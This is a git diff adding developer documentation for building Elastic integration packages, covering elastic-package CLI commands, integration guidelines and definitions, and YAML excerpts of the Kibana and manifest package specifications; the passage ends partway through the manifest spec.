+The command can help bootstrap the first draft of a package using an embedded package template. Then, you can use it to extend the package with more data streams.
+
+For details on creating a new package, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/create_new_package.md).
+
+
+### `elastic-package export` [_elastic_package_export]
+
+*Context: package*
+
+Use this command to export assets relevant for the package, e.g. {{kib}} dashboards.
+
+
+### `elastic-package format` [_elastic_package_format]
+
+*Context: package*
+
+Use this command to format the package files.
+
+The formatter supports JSON and YAML format and skips "ingest_pipeline" directories as it’s hard to correctly format Handlebars template files. As a result, formatted files are overwritten.
+
+
+### `elastic-package install` [elastic-package-install]
+
+*Context: package*
+
+Use this command to upload and install a package in {{kib}}.
+
+Starting with Kibana version `8.7.0`, packages do not need to be exposed in the Package Registry to be installed. Instead, they can be upload as zip files built using the `elastic-package build` command.
+
+1. Ensure you’ve validated your package. Before building, validate the package by running the `elastic-package check` command.
+2. Use either the `--zip` parameter to install a specific zip file or the `install` command to build the package and upload the built zip file to Kibana.
+
+
+#### Install with `--zip` [_install_with_zip]
+
+Install a zipped package. This method relies on Package Registry.
+
+```shell
+elastic-package stack up -d
+elastic-package install --zip /home/user/Coding/work/integrations/build/packages/elastic_package_registry-0.0.6.zip -v
+```
+
+
+#### Install with `elastic-package install` [_install_with_elastic_package_install]
+
+Build and upload a zipped package without relying on Package Registry.
+
+```shell
+elastic-package stack up -v -d
+elastic-package install -v
+```
+
+
+#### Customization [_customization]
+
+Package installation can be customized to be installed in other Kibana instances with the following variables:
+
+* `ELASTIC_PACKAGE_KIBANA_HOST`
+* `ELASTIC_PACKAGE_ELASTICSEARCH_USERNAME`
+* `ELASTIC_PACKAGE_ELASTICSEARCH_PASSWORD`
+* `ELASTIC_PACKAGE_CA_CERT`
+
+For example:
+
+```bash
+export ELASTIC_PACKAGE_KIBANA_HOST="https://test-installation.kibana.test:9243"
+export ELASTIC_PACKAGE_ELASTICSEARCH_USERNAME="elastic"
+export ELASTIC_PACKAGE_ELASTICSEARCH_PASSWORD="xxx"
+# if it is a public instance, this variable should not be needed
+export ELASTIC_PACKAGE_CA_CERT=""
+
+elastic-package install --zip elastic_package_registry-0.0.6.zip -v
+```
+
+
+#### Older versions [_older_versions]
+
+For versions of Kibana `<8.7.0`, the package must be exposed via the Package Registry. In case of development, this means that the package should be built previously and then the Elastic stack must be started. Or, at least, the `package-registry` service needs to be restarted in the Elastic stack:
+
+```bash
+elastic-package build -v
+elastic-package stack up -v -d # elastic-package stack up -v -d --services package-registry
+elastic-package install -v
+```
+
+To install the package in {{kib}}, the command uses {{kib}} API. The package must be exposed via the {{package-registry}}.
+
+
+### `elastic-package lint` [_elastic_package_lint]
+
+*Context: package*
+
+Use this command to validate the contents of a package using the package specification (see: [https://github.com/elastic/package-spec](https://github.com/elastic/package-spec)).
+
+The command ensures that the package aligns with the package spec and that the README file is up-to-date with its template (if present).
+
+
+### `elastic-package profiles` [_elastic_package_profiles]
+
+*Context: global*
+
+Use this command to add, remove, and manage multiple config profiles.
+
+Individual user profiles appear in ~/.elastic-package/stack and contain all the config files needed by the "stack" subcommand. Once a new profile is created, it can be specified with the -p flag, or the ELASTIC_PACKAGE_PROFILE environment variable. User profiles are not overwritten on an upgrade of elastic-stack and can be freely modified to allow for different stack configs.
+
+
+### `elastic-package promote` [_elastic_package_promote]
+
+*Context: global*
+
+Use this command to move packages between the {{package-registry}} snapshot, staging, and production stages.
+
+This command is intended primarily for use by administrators.
+
+It allows for selecting packages for promotion and opens new pull requests to review changes. However, please be aware that the tool checks out an in-memory Git repository and switches over branches (snapshot, staging and production), so it may take longer to promote a larger number of packages.
+
+
+### `elastic-package publish` [_elastic_package_publish]
+
+*Context: package*
+
+Use this command to publish a new package revision.
+
+The command checks if the package has already been published (whether it’s present in the snapshot/staging/production branch or open as pull request). If the package revision hasn’t been published, it will open a new pull request.
+
+
+### `elastic-package service` [_elastic_package_service]
+
+*Context: package*
+
+Use this command to boot up the service stack that can be observed with the package.
+
+The command manages the lifecycle of the service stack defined for the package (`_dev/deploy`) for package development and testing purposes.
+
+
+### `elastic-package stack` [_elastic_package_stack]
+
+*Context: global*
+
+Use this command to spin up a Docker-based {{stack}} consisting of {{es}}, {{kib}}, and the {{package-registry}}. By default, the latest released version of the {{stack}} is spun up, but it is possible to specify a different version, including SNAPSHOT versions.
+
+For details on connecting the service with the {{stack}}, see the [service command](https://github.com/elastic/elastic-package/blob/main/README.md#elastic-package-service).
+
+
+### `elastic-package status [package]` [_elastic_package_status_package]
+
+*Context: package*
+
+Use this command to display the current deployment status of a package.
+
+If a package name is specified, then information about that package is returned. Otherwise, this command checks if the current directory is a package directory and reports its status.
+
+
+### `elastic-package test` [_elastic_package_test]
+
+*Context: package*
+
+Use this command to run tests on a package. Currently, the following types of tests are available:
+
+
+#### Asset Loading Tests [_asset_loading_tests]
+
+These tests ensure that all the {{es}} and {{kib}} assets defined by your package get loaded up as expected.
+
+For details on running asset loading tests for a package, see the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/asset_testing.md).
+
+
+#### Pipeline Tests [_pipeline_tests]
+
+These tests allow you to exercise any Ingest Node Pipelines defined by your packages.
+
+For details on how configuring a pipeline test for a package, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/pipeline_testing.md).
+
+
+#### Static Tests [_static_tests]
+
+These tests allow you to verify if all static resources of the package are valid, e.g. if all fields of the sample_event.json are documented.
+
+For details on running static tests for a package, see the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/static_testing.md).
+
+
+#### System Tests [_system_tests]
+
+These tests allow you to test a package ability for ingesting data end-to-end.
+
+For details on configuring and running system tests, review the [HOWTO guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/system_testing.md).
+
+
+### `elastic-package uninstall` [_elastic_package_uninstall]
+
+*Context: package*
+
+Use this command to uninstall the package in {{kib}}.
+
+To uninstall the package in {{kib}}, the command uses the {{kib}} API. The package must be exposed via the {{package-registry}}.
+
+
+### `elastic-package version` [_elastic_package_version]
+
+*Context: global*
+
+Use this command to print the version of elastic-package that you have installed. This command is especially useful when reporting bugs.
+
diff --git a/docs/extend/finishing-touches.md b/docs/extend/finishing-touches.md
new file mode 100644
index 00000000000..8419f942583
--- /dev/null
+++ b/docs/extend/finishing-touches.md
@@ -0,0 +1,82 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/finishing-touches.html
+---
+
+# Finishing touches [finishing-touches]
+
+## Words [_words]
+
+Tips for manifest files:
+
+* Descriptions of configuration options should be as short as possible.
+
+ Remember to keep only the meaningful information about the configuration option.
+
+ * Good candidates: references to the product configuration, accepted string values, explanation.
+ * Bad candidates: Collect metrics from A, B, C, D,… X, Y, Z datasets.
+
+
+* Descriptions should be human readable.
+
+ Try to rephrase sentences like: Collect foo_Bar3 metrics, into Collect Foo Bar metrics.
+
+* Descriptions should be easy to understand.
+
+ Simplify sentences, don’t provide information about the input if not required.
+
+ * Bad candidate: Collect application logs (log input)
+ * Good candidates: Collect application logs, Collect standard logs for the application
+
+
+
+## Add an icon [_add_an_icon]
+
+The integration icons are displayed in different places in {{kib}}, hence it’s better to define custom icons to make the UI easier to navigate.
+
+
+## Add screenshots [_add_screenshots]
+
+The {{kib}} Integration Manager shows screenshots related to the integration. Screenshots include {{kib}} dashboards visualizing the metric and log data.
+
+
+## Create a README file [_create_a_readme_file]
+
+The README template is used to render the final README file, including exported fields. The template should be placed in the `package//_dev/build/docs/README.md`. If the directory doesn’t exist, please create it.
+
+To see how to use template functions, for example {{fields "data-stream-name"}}, review the MySQL docs template. If the same data stream name is used in both metrics and logs, please add -metrics and -logs in the template. For example, ELB is a data stream for log and also a data stream for metrics. In README.md template, {{fields "elb_logs"}} and {{fields "elb_metrics"}} are used to separate them.
+
+
+## Review artifacts [_review_artifacts]
+
+
+
+## Define variable properties [define-variable-properties]
+
+The variable properties customize visualization of configuration options in the {{kib}} UI. Make sure they’re defined in all manifest files.
+
+```yaml
+vars:
+ - name: paths
+ required: true <1>
+ show_user: true <2>
+ title: Access log paths <3>
+ description: Paths to the apache access log file. <4>
+ type: text <5>
+ multi: true <6>
+ hide_in_deployment_modes: <7>
+ - agentless
+ default:
+ - /var/log/httpd/access.log*
+```
+
+1. option is required
+2. don’t hide the configuration option (collapsed menu)
+3. human readable variable name
+4. variable description (may contain some details)
+5. field type (according to the reference: text, password, bool, integer)
+6. the field has multiple values
+7. hides the variable in agentless mode (see [`hide_in_deployment_modes`](/extend/define-deployment-modes.md#hide_in_deployment_modes) for more information)
+
+
+
diff --git a/docs/extend/general-guidelines.md b/docs/extend/general-guidelines.md
new file mode 100644
index 00000000000..197db4c771e
--- /dev/null
+++ b/docs/extend/general-guidelines.md
@@ -0,0 +1,184 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/general-guidelines.html
+---
+
+# General guidelines [general-guidelines]
+
+::::{important}
+The following guidelines capture general aspects of the integrations that can be improved and should not be treated as a mandatory list of requirements every package should adhere to. Some guidelines that are applicable to one integration can be completely irrelevant to another. Treat them as best effort.
+::::
+
+
+While the guidelines focus on metrics, they are equally applicable to logs.
+
+
+## Data types [_data_types]
+
+Given that all packages are basic, developers should use Basic types (for example `histogram`. `wildcard`, etc.) when applicable. Of course, for ECS (see below) we should use the type specified by ECS.
+
+
+## ECS compliance [_ecs_compliance]
+
+An integration package should be compliant with the most recent version of ECS. This implies an increased amount of relevant ECS fields populated by an integration.
+
+Starting with ECS 1.6, ECS is going to start using Basic types for some fields. Integration fields should be upgraded to the new types as part of the process.
+
+
+## Document all fields [_document_all_fields]
+
+All fields produced by an integration must be mapped by `fields.yml`. This guarantees that their index mapping is correct, and Kibana has enough information to deal with all fields.
+
+
+### Field limits [_field_limits]
+
+By default, data streams will have a `total_fields.limit` setting of 1000. Besides defined custom fields, this also includes dynamically generated ECS fields. If your data stream is expected to eventually house more than 1000 fields, set an explicit limit in the `manifest.yml` of the data stream:
+
+```yaml
+elasticsearch:
+ index_template:
+ settings:
+ index:
+ mapping:
+ total_fields:
+ limit: 5000
+```
+
+::::{note}
+For backwards compatibility, the limit is automatically bumped to 10000 fields if there are more than 500 fields explicitly defined for a data stream, however newly created integrations should not rely on this behavior but instead assume a fixed limit of 1000 fields.
+::::
+
+
+
+### Specify metric types and units [_specify_metric_types_and_units]
+
+As part of the field definition, there are two settings that add metadata which will help Kibana graphing it:
+
+* `unit` applies to all data types, defines the units of the field. Examples of units are `byte` and `ms`. When using `percent` for percentages, the convention is to use 1 for 100%. You can find the full list of supported units in the [package spec](https://github.com/elastic/package-spec/blob/ff8286d0c40ad76bb082e9c8ea78f4551c2519c1/spec/integration/data_stream/fields/fields.spec.yml#L103).
+* `metric_type` applies to metric events only, to be added to metric fields. It defines their metric type. It can be of type `gauge` or `counter`. Counters are used for metrics that always increase over time, such as number of page visits. Gauges are used for amounts that can increase or decrease over time, such as the amount of memory being used.
+
+The Elasticsearch documentation details the [expected values for these two fields](elasticsearch://reference/elasticsearch/mapping-reference/mapping-field-meta.md).
+
+Other applications, including Kibana, can use the information provided by this metadata when accessing these fields. The `unit` is used when formatting the values of the field, and the `metric_type` can be used to provide better defaults when quering the data.
+
+
+### Specify dimensions [_specify_dimensions]
+
+A set of fields of a data stream can be defined as dimensions. A set of dimensions with the same values identify a single time series.
+
+It is important to choose the set of fields carefully. They should be the minimal set of dimensions required to properly identify any time series included in the data stream. Too few dimensions can mix data of multiple time series into a single one, while too many dimensions can impact performance.
+
+A field can be configured as a dimension by setting `dimension: true` in its definition.
+
+Only fields of certain data types can be defined as dimensions. These data types include keywords, IPs and numeric types.
+
+Some guidelines to take into account when chosing dimensions:
+
+* They can affect ingestion performance, it is recommended to have as few dimensions as possible. When selecting dimensions, try to avoid redundant ones, such as unique identifiers and names that refer to the same object.
+* Also be careful with having too few dimensions. There can be only one document with the same timestamp for a given set of dimensions. This can lead to data loss if different objects produce the same dimensions.
+* Changing dimensions can be a breaking change. A different set of dimensions produces a different time series, even if they select the same data.
+
+Declaring dimensions is a requisite to use TSDB indexes. These indexes are optimized for time series use cases, bringing disk storage savings and additional queries and aggregations.
+
+TSDB indexes can be enabled in data streams by setting `elasticsearch.index_mode: time_series` in their manifests.
+
+
+## Logs and Metrics UI compatibility [_logs_and_metrics_ui_compatibility]
+
+When applicable an integrataion package should provide the relevant fields for the Logs and Metrics Apps. This is especially relevant for integrations that are focused on compute-resources (VMs, containers, etc.).
+
+* Keep the [Logs app fields](docs-content://reference/observability/fields-and-object-schemas/logs-app-fields.md) reference up to date.
+* Keep the [Infrastructure app fields](docs-content://reference/observability/fields-and-object-schemas/metrics-app-fields.md) reference up to date.
+
+
+## Subtracting metrics [_subtracting_metrics]
+
+An integration package should collect a reasonable amount of metrics for any target system. In some cases this may mean removing some metrics that Filebeat and Metricbeat are collecting today. Collecting too many metrics has implications on metric storage as well as relevance of the data provided to the user.
+
+Potential candidates to remove:
+
+* low-level garbage collector metrics
+* internal metrics showing code flow (for example, `Got100Continue`, `Wait100Continue`)
+* redundant metrics (for example, metric collection for MQ topics doesn’t require collection of summary metrics)
+
+
+## Relevant metrics [_relevant_metrics]
+
+This is probably the most important and hardest one of the guidelinesto satisfy, as it requires knowledge of every target system. Identifying relevant metrics should be considered case by case.
+
+There are no well defined guidelines for this exercise. It can be as simple as finding everything in one place (for example the [RabbitMQ documentation](https://www.rabbitmq.com/monitoring.md)) or as difficult as reviewing multiple sources including documentation, blog posts, and other integrations, and consolidating the discovered information in one place for revision. A recommendation is to only collect the metrics that are needed for dashboards and visualizations in general.
+
+
+## Keep the original message field [_keep_the_original_message_field]
+
+Log integrations should keep the original message field (recommended name: `event.original`) so that it shows up in the Logs UI. It will also be useful when users want to reindex the data after changing a pipeline. In addition, the message field can be used as source for the some future Runtime fields.
+
+The original field should be user-configurable with the Kibana UI for better cost and storage management, and also consistency with other integrations.
+
+
+## Document storage efficiency [_document_storage_efficiency]
+
+Every integration should strive to store collected data as efficiently as possible, which implies optimizing the way each integration generates documents.
+
+
+## Default datasets [_default_datasets]
+
+When applicable, an integration package should provide a default dataset that aggregates a subset of the most relevant metrics across other data streams. Think of these as the metrics that are visualized on overview dashboards or are used for alerting. A guideline for creating a separate default dataset could be when the number of datasets in a package is more than three.
+
+
+## Updated versions [_updated_versions]
+
+An integration package should support the most relevant versions of a target system. Some of our integrations support older versions of a target service/system, which were relevant at the time of implementation. Over time they can become outdated and require a revision, which can be as simple as testing the integration against the latest version and updating the compatibility section in the documentation, or it can mean refactoring the code to work with the latest version. For example, the Ceph module has recently been updated to support the latest version which had an entirely different way of collecting metrics. In order to accommodate both older and new versions in the module, metricsets were created in the module specifically for newer versions and it was noted in the documentation which metricsets to use.
+
+
+## Updated configuration defaults [_updated_configuration_defaults]
+
+An integration package should provide meaningful defaults, such as collection intervals (periods), enabled metricsets, and any other integration specific configuration parameters. In the majority of cases users opt to use defaults. Hence, providing the relevant default values is crucial for the integration to be useful. In addition, integrations should strive to provide a one-click experience by providing the defaults that can cover 80% of use cases.
+
+
+## Updated docs [_updated_docs]
+
+Integration packages should provide consistent and comprehensive documentation. For more details, refer to the [documentation guidelines](/extend/documentation-guidelines.md).
+
+
+## Updated integration content [_updated_integration_content]
+
+Integration packages should provide out-of-the-box dashboards. For more details, refer to the [dashboard guidelines](/extend/dashboard-guidelines.md).
+
+
+## Content for elastic.co/integrations [_content_for_elastic_cointegrations]
+
+Each integration will be listed on the public website `elastic.co/integrations` and the package registry will serve as the source of truth. As a result, documentation and screenshots should be high quality to showcase the integration. Please ensure to use `svg` for the logo and `png` for all other images. Any additional branding material should be reviewed carefully, for example:
+
+* logo format and quality
+* permission to use logos and trademarks
+
+
+## Curated user experiences [_curated_user_experiences]
+
+It’s advised to set integration policies in Fleet. Every integration and agent should be visible in Fleet and users should be able to add the integration directly from the integration list. This leads to better cohesion since it provides a consistent experience across integrations, allow users to add several integrations at once, and avoids sending them back and forth between multiple apps. It also allows users to discover new integrations in the list.
+
+Elastic products will also have the option to provide a curated UI for settings that are difficult to put in Fleet. It’s up to the product to decide how much flexibility they want to provide in changing the configuration directly from Fleet. This will depend on the use case and if it makes sense. Some level of configuration is recommended though.
+
+
+## Asset tagging and metadata [_asset_tagging_and_metadata]
+
+When assets are installed through Fleet some metadata is added by default.
+
+For Elasticsearch assets such as index templates and ingest pipelines, a `_meta` property is added to the asset as follows:
+
+```json
+{
+ "managed_by": "fleet",
+ "managed": true,
+ "package": {
+ "name": ""
+ }
+}
+```
+
+For Kibana assets, [tags](docs-content://explore-analyze/find-and-organize/tags.md) are generated in addition to the `_meta` property:
+
+* One tag with a `name` matching the package’s `title` property
+* The `managed` tag, which Kibana uses to recognize "system" assets, or those that are installed by Kibana itself instead of generated by an end user
+
diff --git a/docs/extend/index.md b/docs/extend/index.md
new file mode 100644
index 00000000000..125e50becd8
--- /dev/null
+++ b/docs/extend/index.md
@@ -0,0 +1,24 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/index.html
+---
+
+# Create an Integration
+
+This section provides the guidance you'll need to be able to create, manage, and optimize integrations with Elastic products.
+
+## Getting Started
+
+Begin by understanding what is an [integration](./what-is-an-integration.md).
+
+## Building Integrations
+
+Dive deep into the technical aspects of building integrations with Elastic products. Our [Building Integrations](./build-new-integration.md) guide covers everything from architecture and design principles to coding best practices and sample projects.
+
+## Testing and Validation
+
+Ensure your integrations work seamlessly by following our [Testing and Validation](./testing-validation.md) guidelines. Learn about different testing methodologies, tools, and techniques to validate your integration's performance and reliability.
+
+## Packaging and Deployment
+
+Once your integration is ready, our [Packaging and Deployment](./package-spec.md) guide will help you package your integration and deploy it efficiently. This section includes instructions on creating distributable packages, setting up deployment environments, and more.
diff --git a/docs/extend/integration-definitions.md b/docs/extend/integration-definitions.md
new file mode 100644
index 00000000000..02c219ba9b8
--- /dev/null
+++ b/docs/extend/integration-definitions.md
@@ -0,0 +1,51 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/integration-definitions.html
+---
+
+# Definitions [integration-definitions]
+
+
+## Package [_package]
+
+An Elastic Package, or simply package for short, contains the dashboards, visualisations, and configurations to monitor the logs and metrics of a particular technology or group of related services, such as “MySQL”, or “System”.
+
+The package consists of:
+
+* Name
+* Zero or more dashboards and visualisations and Canvas workpads
+* Zero or more ML job definitions
+* Zero or more data stream index templates
+
+The package is versioned.
+
+
+## Integration [_integration]
+
+An integration is a specific type of a package defining data streams used to observe a product using logs, metrics, and traces.
+
+
+## Data stream [_data_stream]
+
+A data stream is logical sub-division of an Integration package, dealing with a specific type of observable aspect of the service or product being observed. For example, the `mysql` package defines a data stream for collecting metrics and another data stream for collecting server logs.
+
+A data stream defines all the assets needed to create an Elasticsearch data stream, for example: index templates and ingest pipelines. These assets are loaded into Elasticsearch when a user installs a package via the Fleet UI in Kibana.
+
+A data stream also defines a policy template. Policy templates include variables that allow users to configure the data stream via the Fleet UI in Kibana. The resulting policy is interpreted by the Elastic Agent to collect relevant information from the product or service being observed.
+
+Data streams are defined inside the `data_stream` folder located under the package’s root directory. Each data stream is defined in it’s own sub-folder.
+
+The data stream consists of:
+
+* Field definitions (`fields.yml` files)
+* Zero or more ingest pipelines
+* An Elastic Agent policy template
+
+
+## Development Extensions: `_dev` directories [_development_extensions_dev_directories]
+
+The `_dev` directory is part of the [package-spec](https://github.com/elastic/package-spec), and contains development resources. These development resources cover any types of files or folders needed only at development time. This includes resources needed for testing, but also includes any templates that might be used for generating documentation. In the future it could include other files or folders needed just at development time. It can be defined on the following levels:
+
+1. The package-level `_dev` folder contains files needed to set up the testing environment for that package. This environment setup is specified by files and folders in the `_dev/deploy` folder. For example, the `apache` package [specifies](https://github.com/elastic/integrations/tree/main/packages/apache/_dev/deploy) how to spin up an Apache Docker container for testing.
+2. The data stream-level `_dev` folder contains test configuration files for various types of tests. For example, see the [`_dev/test folder`](https://github.com/elastic/integrations/tree/main/packages/apache/data_stream/error/_dev/test) under the `apache/error` data stream. The integrations have also [asset](https://github.com/elastic/elastic-package/blob/main/docs/howto/asset_testing.md) and [static](https://github.com/elastic/elastic-package/blob/main/docs/howto/static_testing.md) tests. They don’t require config files, but configs can be used to mark them as optional.
+
diff --git a/docs/extend/integrations-guidelines.md b/docs/extend/integrations-guidelines.md
new file mode 100644
index 00000000000..6a1633d4e00
--- /dev/null
+++ b/docs/extend/integrations-guidelines.md
@@ -0,0 +1,16 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/integrations-guidelines.html
+---
+
+# Integrations guidelines [integrations-guidelines]
+
+Refer to the following pages for some tips and recommendations for building integrations.
+
+* [General guidelines](/extend/general-guidelines.md)
+* [Dashboard guidelines](/extend/dashboard-guidelines.md)
+* [Documentation guidelines](/extend/documentation-guidelines.md)
+
+
+
+
diff --git a/docs/extend/integrations-tsds-synthetic-source.md b/docs/extend/integrations-tsds-synthetic-source.md
new file mode 100644
index 00000000000..a937f5badc1
--- /dev/null
+++ b/docs/extend/integrations-tsds-synthetic-source.md
@@ -0,0 +1,14 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/integrations-tsds-synthetic-source.html
+---
+
+# Working with new indexing features [integrations-tsds-synthetic-source]
+
+These pages include details for incorporating new indexing features into your integrations, such as time series data stream (TSDS), `doc-value-only` fields, and synthetic source.
+
+* [TSDS guidelines](/extend/developer-tsds-guidelines.md)
+* [How to test new indexing features](/extend/testing-new-indexing-features.md)
+
+
+
diff --git a/docs/extend/kibana-spec.md b/docs/extend/kibana-spec.md
new file mode 100644
index 00000000000..88097727d3c
--- /dev/null
+++ b/docs/extend/kibana-spec.md
@@ -0,0 +1,162 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/kibana-spec.html
+---
+
+# kibana [kibana-spec]
+
+The integration’s {{kib}} assets, like dashboards, visualizations, {{ml}} modules, etc.
+
+**required**
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+spec:
+ additionalContents: false
+ contents:
+ - description: Folder containing Kibana dashboard assets
+ type: folder
+ name: dashboard
+ required: false
+ contents:
+ - description: A dashboard asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+ - description: Folder containing Kibana visualization assets
+ type: folder
+ name: visualization
+ required: false
+ contents:
+ - description: A visualization asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+ - description: Folder containing Kibana saved search assets
+ type: folder
+ name: search
+ required: false
+ contents:
+ - description: A saved search asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+ - description: Folder containing Kibana map assets
+ type: folder
+ name: map
+ required: false
+ contents:
+ - description: A map asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+ - description: Folder containing Kibana lens assets
+ type: folder
+ name: lens
+ required: false
+ contents:
+ - description: A lens asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+ - description: Folder containing Kibana index pattern assets
+ type: folder
+ name: "index_pattern"
+ required: false
+ contents:
+ - description: An index pattern asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^.+\.json$'
+ - description: Folder containing rules
+ type: folder
+ name: "security_rule"
+ required: false
+ contents:
+ - description: An individual rule file for the detection engine
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^.+\.json$'
+ - description: Folder containing CSP rule templates
+ type: folder
+ name: "csp_rule_template"
+ required: false
+ contents:
+ - description: An individual CSP rule template file for the cloud security posture management solution
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^.+\.json$'
+ - description: Folder containing ML module assets
+ type: folder
+ name: ml_module
+ required: false
+ contents:
+ - description: An ML module asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ - description: Folder containing Kibana tags
+ type: folder
+ name: tag
+ required: false
+ contents:
+ - description: A dashboard tag file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ - description: Folder containing Osquery pack assets
+ type: folder
+ name: osquery_pack_asset
+ required: false
+ contents:
+ - description: An osquery pack asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ - description: Folder containing Osquery saved queries
+ type: folder
+ name: osquery_saved_query
+ required: false
+ contents:
+ - description: An osquery saved query file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ - description: File containing saved object tag definitions for assets
+ type: file
+ contentMediaType: "application/x-yaml"
+ name: "tags.yml"
+ required: false
+ $ref: "./tags.spec.yml"
+ - description: Folder containing Kibana SLO assets
+ type: folder
+ name: slo
+ required: false
+ contents:
+ - description: An SLO asset file
+ type: file
+ contentMediaType: "application/json"
+ pattern: '^{PACKAGE_NAME}-.+\.json$'
+ forbiddenPatterns:
+ - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden
+versions:
+ - before: 3.4.0
+ patch:
+ - op: remove
+ path: "/contents/13" # remove SLO definitions
+ - before: 2.10.0
+ patch:
+ - op: remove
+ path: "/contents/12" # remove tags definition
+```
diff --git a/docs/extend/manifest-spec.md b/docs/extend/manifest-spec.md
new file mode 100644
index 00000000000..f510cd98ba2
--- /dev/null
+++ b/docs/extend/manifest-spec.md
@@ -0,0 +1,675 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/manifest-spec.html
+---
+
+# manifest.yml [manifest-spec]
+
+Integration metadata, like version, name, license level, description, category, icon and screenshot mappings, and policy template definitions.
+
+**required**
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+##
+## Describes the specification for the integration package's main manifest.yml file
+##
+spec:
+ # Everything under here follows JSON schema (https://json-schema.org/), written as YAML for readability
+ type: object
+ additionalProperties: false
+ definitions:
+ agent:
+ description: Declarations related to Agent configurations or requirements.
+ type: object
+ additionalProperties: false
+ properties:
+ privileges:
+ type: object
+ additionalProperties: false
+ properties:
+ root:
+ description: Set to true if collection requires root privileges in the agent.
+ type: boolean
+ categories:
+ description: Categories to which this package belongs.
+ type: array
+ items:
+ type: string
+ enum:
+ - advanced_analytics_ueba
+ - analytics_engine
+ - application_observability
+ - app_search
+ - auditd
+ - authentication
+ - aws
+ - azure
+ - big_data
+ - cdn_security
+ - cloud
+ - cloudsecurity_cdr
+ - config_management
+ - connector
+ - connector_client
+ - connector_package
+ - containers
+ - content_source
+ - crawler
+ - credential_management
+ - crm
+ - custom
+ - custom_logs
+ - database_security
+ - datastore
+ - dns_security
+ - edr_xdr
+ - elasticsearch_sdk
+ - elastic_stack
+ - email_security
+ - enterprise_search
+ - firewall_security
+ - google_cloud
+ - iam
+ - ids_ips
+ - infrastructure
+ - java_observability
+ - kubernetes
+ - language_client
+ - languages
+ - load_balancer
+ - message_queue
+ - monitoring
+ - native_search
+ - network
+ - network_security
+ - notification
+ - observability
+ - os_system
+ - process_manager
+ - productivity
+ - productivity_security
+ - proxy_security
+ - sdk_search
+ - security
+ - stream_processing
+ - support
+ - threat_intel
+ - ticketing
+ - version_control
+ - virtualization
+ - vpn_security
+ - vulnerability_management
+ - web
+ - web_application_firewall
+ - websphere
+ - workplace_search
+ examples:
+ - web
+ conditions:
+ description: Conditions under which this package can be installed.
+ type: object
+ additionalProperties: false
+ properties:
+ elastic:
+ description: Elastic conditions
+ type: object
+ additionalProperties: false
+ properties:
+ subscription:
+ description: The subscription required for this package.
+ type: string
+ enum:
+ - basic
+ - gold
+ - platinum
+ - enterprise
+ default: basic
+ examples:
+ - basic
+ capabilities:
+ description: |-
+ Stack features that are required by the package to work properly.
+ The package should not be used in deployments without the indicated features.
+ Packages that don't indicate any capability condition can be used on any deployment.
+ type: array
+ uniqueItems: true
+ items:
+ type: string
+ enum:
+ - apm
+ - enterprise_search
+ - observability
+ - security
+ - serverless_search
+ - uptime
+ kibana:
+ description: Kibana conditions
+ type: object
+ additionalProperties: false
+ properties:
+ version:
+ type: string
+ description: Kibana versions compatible with this package.
+ examples:
+ - ">=7.9.0"
+ description:
+ description: >
+ A longer description of the package. It should describe, at least all the kinds of
+ data that is collected and with what collectors, following the structure
+ "Collect X from Y with X".
+ type: string
+ examples:
+ - Collect logs and metrics from Apache HTTP Servers with Elastic Agent.
+ - Collect logs and metrics from Amazon Web Services with Elastic Agent.
+ deployment_modes:
+ description: >
+ Options related to the deployment modes. The deployment mode refers to the mode used to
+ deploy the Elastic Agents running this policy.
+ type: object
+ additionalProperties: false
+ properties:
+ default:
+ description: >
+ Options specific to the default deployment mode, where agents are normally managed
+ by users, explicitly enrolled to Fleet and visible in UIs.
+ type: object
+ properties:
+ enabled:
+ description: >
+ Indicates if the default deployment mode is available for this template policy.
+ It is enabled by default.
+ type: boolean
+ default: true
+ agentless:
+ description: >
+ Options specific to the Agentless deployment mode. This mode is used in offerings
+ where the Elastic Agents running these policies are fully managed for the user.
+ type: object
+ additionalProperties: false
+ properties:
+ enabled:
+ description: >
+ Indicates if the agentless deployment mode is available for this template policy.
